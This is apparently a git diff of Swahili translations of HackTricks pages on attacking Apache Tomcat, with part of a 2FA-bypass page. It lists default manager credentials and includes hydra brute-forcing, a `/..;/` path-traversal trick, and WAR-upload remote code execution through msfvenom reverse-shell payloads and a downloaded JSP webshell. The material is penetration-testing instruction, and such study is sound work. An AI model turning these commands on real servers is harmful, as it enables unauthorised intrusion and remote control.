* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* Kawaida inafanya kazi kwenye **bandari 8080**
|
||||
* Inatumika kawaida kwenye **bandari 8080**
|
||||
* **Kosa la kawaida la Tomcat:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
|
@ -42,7 +34,7 @@ Hii itatafuta neno "Tomcat" katika ukurasa wa index wa hati, ikifunua toleo kati
|
|||
|
||||
### **Mahali pa Faili za Meneja**
|
||||
|
||||
Kutambua maeneo halisi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutio la nguvu ya kikatili linapendekezwa ili kupata kurasa hizi.
|
||||
Kutambua maeneo halisi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutizi ya nguvu inashauriwa ili kupata kurasa hizi.
|
||||
|
||||
### **Uhesabuji wa Majina ya Watumiaji**
|
||||
|
||||
|
|
@ -52,7 +44,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
|||
```
|
||||
### **Default Credentials**
|
||||
|
||||
Direktori **`/manager/html`** ni nyeti sana kwani inaruhusu kupakia na kutekeleza faili za WAR, ambazo zinaweza kusababisha utekelezaji wa msimbo. Direktori hii inalindwa na uthibitishaji wa msingi wa HTTP, ambapo akidi za kawaida ni:
|
||||
Direktori **`/manager/html`** ni nyeti sana kwani inaruhusu kupakia na kupeleka faili za WAR, ambazo zinaweza kusababisha utekelezaji wa msimbo. Direktori hii inalindwa na uthibitishaji wa msingi wa HTTP, ambapo akidi za kawaida ni:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
|
@ -65,11 +57,11 @@ Akidi hizi zinaweza kupimwa kwa kutumia:
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Another notable directory is **`/manager/status`**, which displays the Tomcat and OS version, aiding in vulnerability identification.
|
||||
Mwelekeo mwingine muhimu ni **`/manager/status`**, ambayo inaonyesha toleo la Tomcat na OS, ikisaidia katika utambuzi wa udhaifu.
|
||||
|
||||
### **Brute Force Attack**
|
||||
### **Shambulio la Nguvu Kiasi**
|
||||
|
||||
Ili kujaribu shambulio la brute force kwenye saraka ya meneja, mtu anaweza kutumia:
|
||||
Ili kujaribu shambulio la nguvu kiasi kwenye mwelekeo wa meneja, mtu anaweza kutumia:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
|
|
@ -79,7 +71,7 @@ Along with setting various parameters in Metasploit to target a specific host.
|
|||
|
||||
### **Password Backtrace Disclosure**
|
||||
|
||||
Kufikia `/auth.jsp` kunaweza kufichua nenosiri katika backtrace chini ya hali nzuri.
|
||||
Kupata `/auth.jsp` kunaweza kufichua nenosiri katika backtrace chini ya hali nzuri.
|
||||
|
||||
### **Double URL Encoding**
|
||||
|
||||
|
|
@ -89,7 +81,7 @@ Ili kufikia wavuti ya usimamizi ya Tomcat nenda: `pathTomcat/%252E%252E/manager/
|
|||
|
||||
### /examples
|
||||
|
||||
Apache Tomcat toleo 4.x hadi 7.x linajumuisha skripti za mfano ambazo zinaweza kuathiriwa na ufichuzi wa taarifa na mashambulizi ya cross-site scripting (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuangaliwa kwa ufikiaji usioidhinishwa na uwezekano wa kutumiwa vibaya. Pata [maelezo zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Apache Tomcat toleo 4.x hadi 7.x linajumuisha mifano ya skripti ambazo zinaweza kuathiriwa na ufichuzi wa taarifa na mashambulizi ya cross-site scripting (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuangaliwa kwa ufikiaji usioidhinishwa na uwezekano wa kutumiwa vibaya. Pata [maelezo zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
|
@ -116,7 +108,7 @@ Apache Tomcat toleo 4.x hadi 7.x linajumuisha skripti za mfano ambazo zinaweza k
|
|||
|
||||
### **Path Traversal Exploit**
|
||||
|
||||
Katika [**mipangilio yenye hatari ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji wa saraka zilizolindwa katika Tomcat ukitumia njia: `/..;/`
|
||||
Katika [**mipangilio yenye hatari ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji wa directories zilizolindwa katika Tomcat ukitumia njia: `/..;/`
|
||||
|
||||
Hivyo, kwa mfano, unaweza kuwa na uwezo wa **kufikia ukurasa wa usimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
|
|
@ -124,11 +116,11 @@ Hivyo, kwa mfano, unaweza kuwa na uwezo wa **kufikia ukurasa wa usimamizi wa Tom
|
|||
|
||||
## RCE
|
||||
|
||||
Hatimaye, ikiwa una ufikiaji wa Tomcat Web Application Manager, unaweza **kupakia na kupeleka faili ya .war (kufanya kazi)**.
|
||||
Hatimaye, ikiwa una ufikiaji wa Tomcat Web Application Manager, unaweza **kupakia na kupeleka faili .war (tekeleza msimbo)**.
|
||||
|
||||
### Limitations
|
||||
|
||||
Utakuwa na uwezo wa kupeleka WAR tu ikiwa una **mamlaka ya kutosha** (majukumu: **admin**, **manager** na **manager-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ ambayo kawaida huwekwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inategemea toleo) (angalia [POST ](tomcat.md#post)section).
|
||||
Utakuwa na uwezo wa kupeleka WAR tu ikiwa una **mamlaka ya kutosha** (majukumu: **admin**, **manager** na **manager-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ ambayo kawaida huwekwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inategemea toleo) (tazama [POST ](tomcat.md#post)section).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
|
@ -153,7 +145,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
2. Pakia faili la `revshell.war` na upate ufikiaji kwake (`/revshell/`):
|
||||
2. Pakia faili ya `revshell.war` na upate ufikiaji kwake (`/revshell/`):
|
||||
|
||||
### Bind na reverse shell na [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
|
|
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Jaribu Kikundi cha Usalama wa Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -255,7 +241,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,24 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Discovery
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Ugunduzi
|
||||
|
||||
* Kawaida inafanya kazi kwenye **bandari 8080**
|
||||
* Inatumika kawaida kwenye **bandari 8080**
|
||||
* **Kosa la kawaida la Tomcat:**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Uhesabu
|
||||
## Enumeration
|
||||
|
||||
### **Utambulisho wa Toleo**
|
||||
### **Version Identification**
|
||||
|
||||
Ili kupata toleo la Apache Tomcat, amri rahisi inaweza kutekelezwa:
|
||||
```bash
|
||||
|
|
@ -42,11 +34,11 @@ Hii itatafuta neno "Tomcat" katika ukurasa wa index wa hati, ikifunua toleo kati
|
|||
|
||||
### **Mahali pa Faili za Meneja**
|
||||
|
||||
Kutambua maeneo halisi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutizi ya nguvu inashauriwa ili kupata kurasa hizi.
|
||||
Kutambua maeneo halisi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutio la nguvu ni pendekezo ili kupata kurasa hizi.
|
||||
|
||||
### **Uainishaji wa Jina la Mtumiaji**
|
||||
### **Uhesabuji wa Majina ya Watumiaji**
|
||||
|
||||
Kwa toleo za Tomcat zilizopita ya 6, inawezekana kuainisha majina ya watumiaji kupitia:
|
||||
Kwa toleo za Tomcat zilizopita ya 6, inawezekana kuhesabu majina ya watumiaji kupitia:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
|
@ -65,11 +57,11 @@ Akidi hizi zinaweza kupimwa kwa kutumia:
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Another notable directory is **`/manager/status`**, which displays the Tomcat and OS version, aiding in vulnerability identification.
|
||||
Maktaba nyingine muhimu ni **`/manager/status`**, ambayo inaonyesha toleo la Tomcat na OS, kusaidia katika utambuzi wa udhaifu.
|
||||
|
||||
### **Brute Force Attack**
|
||||
### **Shambulio la Nguvu Kuu**
|
||||
|
||||
Ili kujaribu shambulio la brute force kwenye saraka ya meneja, mtu anaweza kutumia:
|
||||
Ili kujaribu shambulio la nguvu kuu kwenye saraka ya meneja, mtu anaweza kutumia:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
|
|
@ -116,7 +108,7 @@ Apache Tomcat toleo 4.x hadi 7.x linajumuisha skripti za mfano ambazo zinaweza k
|
|||
|
||||
### **Path Traversal Exploit**
|
||||
|
||||
Katika [**mipangilio yenye hatari ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji wa saraka zilizolindwa katika Tomcat ukitumia njia: `/..;/`
|
||||
Katika baadhi ya [**mipangilio yenye hatari ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji wa saraka zilizo na ulinzi katika Tomcat ukitumia njia: `/..;/`
|
||||
|
||||
Hivyo, kwa mfano, unaweza kuwa na uwezo wa **kufikia ukurasa wa usimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
|
|
@ -124,11 +116,11 @@ Hivyo, kwa mfano, unaweza kuwa na uwezo wa **kufikia ukurasa wa usimamizi wa Tom
|
|||
|
||||
## RCE
|
||||
|
||||
Hatimaye, ikiwa una ufikiaji wa Tomcat Web Application Manager, unaweza **kupakia na kupeleka faili ya .war (tekeleza msimbo)**.
|
||||
Hatimaye, ikiwa una ufikiaji wa Tomcat Web Application Manager, unaweza **kupakia na kupeleka faili ya .war (kufanya kazi)**.
|
||||
|
||||
### Limitations
|
||||
|
||||
Utakuwa na uwezo wa kupeleka WAR tu ikiwa una **mamlaka ya kutosha** (majukumu: **admin**, **manager** na **manager-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ ambayo kwa kawaida huwekwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inategemea toleo) (angalia [POST ](./#post)section).
|
||||
Utakuwa na uwezo wa kupeleka WAR tu ikiwa una **mamlaka ya kutosha** (majukumu: **admin**, **manager** na **manager-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ ambayo kawaida huwekwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inategemea toleo) (angalia [POST ](./#post)section).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
|
@ -157,7 +149,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war
|
|||
|
||||
### Bind na reverse shell na [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
Katika baadhi ya hali hii haifanyi kazi (kwa mfano toleo za zamani za sun)
|
||||
Katika hali zingine hii haifanyi kazi (kwa mfano toleo za zamani za sun)
|
||||
|
||||
#### Pakua
|
||||
```bash
|
||||
|
|
@ -208,11 +200,11 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
Unaweza pia kufunga hii (inaruhusu kupakia, kupakua na kutekeleza amri): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Njia ya Kwanza ya Kiganja 2
|
||||
### Manual Method 2
|
||||
|
||||
Pata shell ya wavuti ya JSP kama [hii](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na uunde faili la WAR:
|
||||
Pata JSP web shell kama [hii](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na uunde faili la WAR:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
|
|
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Jaribu Kikundi cha Usalama wa Hard**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -255,7 +242,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Epuka kukimbia na root
|
||||
|
||||
Ili kuepuka kukimbia Tomcat na root, usanidi wa kawaida ni kuweka seva ya Apache kwenye bandari 80/443 na, ikiwa njia iliyotakiwa inalingana na regexp, ombi linaelekezwa kwa Tomcat inayokimbia kwenye bandari tofauti.
|
||||
|
|
@ -76,10 +68,10 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
Faili muhimu zaidi kati ya haya ni `WEB-INF/web.xml`, ambayo inajulikana kama mwelekeo wa usambazaji. Faili hii inahifadhi **habari kuhusu njia** zinazotumiwa na programu na madarasa yanayosimamia njia hizi.\
|
||||
Madarasa yote yaliyokusanywa yanayotumiwa na programu yanapaswa kuhifadhiwa katika folda ya `WEB-INF/classes`. Madarasa haya yanaweza kuwa na mantiki muhimu ya biashara pamoja na habari nyeti. Uthibitisho wowote katika faili hizi unaweza kusababisha kuathiriwa kabisa kwa tovuti. Folda ya `lib` inahifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` inahifadhi [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ambayo hapo awali ilijulikana kama `JavaServer Pages`, ambayo inaweza kulinganishwa na faili za PHP kwenye seva ya Apache.
|
||||
The most important file among these is `WEB-INF/web.xml`, which is known as the deployment descriptor. This file stores **habari kuhusu njia** used by the application and the classes handling these routes.\
|
||||
All compiled classes used by the application should be stored in the `WEB-INF/classes` folder. These classes might contain important business logic as well as sensitive information. Any vulnerability in these files can lead to total compromise of the website. The `lib` folder stores the libraries needed by that particular application. The `jsp` folder stores [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), formerly known as `JavaServer Pages`, which can be compared to PHP files on an Apache server.
|
||||
|
||||
Hapa kuna mfano wa faili **web.xml**.
|
||||
Here’s an example **web.xml** file.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
|
||||
|
|
@ -146,29 +138,24 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
The file shows us what each of the roles `manager-gui`, `manager-script`, `manager-jmx`, and `manager-status` provide access to. In this example, we can see that a user `tomcat` with the password `tomcat` has the `manager-gui` role, and a second weak password `admin` is set for the user account `admin`
|
||||
Faili linaonyesha ni nini kila moja ya majukumu `manager-gui`, `manager-script`, `manager-jmx`, na `manager-status` inatoa ufikiaji. Katika mfano huu, tunaona kwamba mtumiaji `tomcat` mwenye nenosiri `tomcat` ana jukumu la `manager-gui`, na nenosiri dhaifu la pili `admin` limetengwa kwa akaunti ya mtumiaji `admin`.
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,39 +1,26 @@
|
|||
# 2FA/MFA/OTP Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## **Mbinu za Kupita Uthibitisho wa Mbili wa Hatua**
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
### **Upatikanaji wa Moja kwa Moja wa Mwisho**
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayochukua taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Mbinu za Kubadilisha Uthibitisho wa Mbili**
|
||||
|
||||
### **Upatikanaji wa Kituo Moja kwa Moja**
|
||||
|
||||
Ili kupita 2FA, pata kituo kinachofuata moja kwa moja, kujua njia ni muhimu. Ikiwa haifanikiwi, badilisha **Referrer header** ili kuiga urambazaji kutoka kwenye ukurasa wa uthibitisho wa 2FA.
|
||||
Ili kupita 2FA, pata upatikanaji wa mwisho unaofuata moja kwa moja, kujua njia ni muhimu. Ikiwa haifanikiwi, badilisha **Referrer header** ili kuiga urambazaji kutoka kwenye ukurasa wa uthibitisho wa 2FA.
|
||||
|
||||
### **Matumizi ya Tokeni Zilizotumika Tangu Awali**
|
||||
|
||||
|
|
@ -41,61 +28,61 @@ Kurejelea tokeni zilizotumika awali kwa uthibitisho ndani ya akaunti kunaweza ku
|
|||
|
||||
### **Matumizi ya Tokeni Zisizotumika**
|
||||
|
||||
Kuchota tokeni kutoka kwenye akaunti yako mwenyewe ili kupita 2FA kwenye akaunti nyingine kunaweza kujaribiwa.
|
||||
Kutoa tokeni kutoka kwenye akaunti yako mwenyewe ili kupita 2FA katika akaunti nyingine inaweza kujaribiwa.
|
||||
|
||||
### **Ufunuo wa Tokeni**
|
||||
|
||||
Chunguza ikiwa tokeni imefunuliwa katika jibu kutoka kwa programu ya wavuti.
|
||||
|
||||
### **Kunyanyua Kiungo cha Uthibitisho**
|
||||
### **Kudhulumu Kiungo cha Uthibitisho**
|
||||
|
||||
Kutumia **kiungo cha uthibitisho wa barua pepe kilichotumwa wakati wa kuunda akaunti** kunaweza kuruhusu upatikanaji wa wasifu bila 2FA, kama ilivyoangaziwa katika [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
|
||||
|
||||
### **Manipulation ya Kikao**
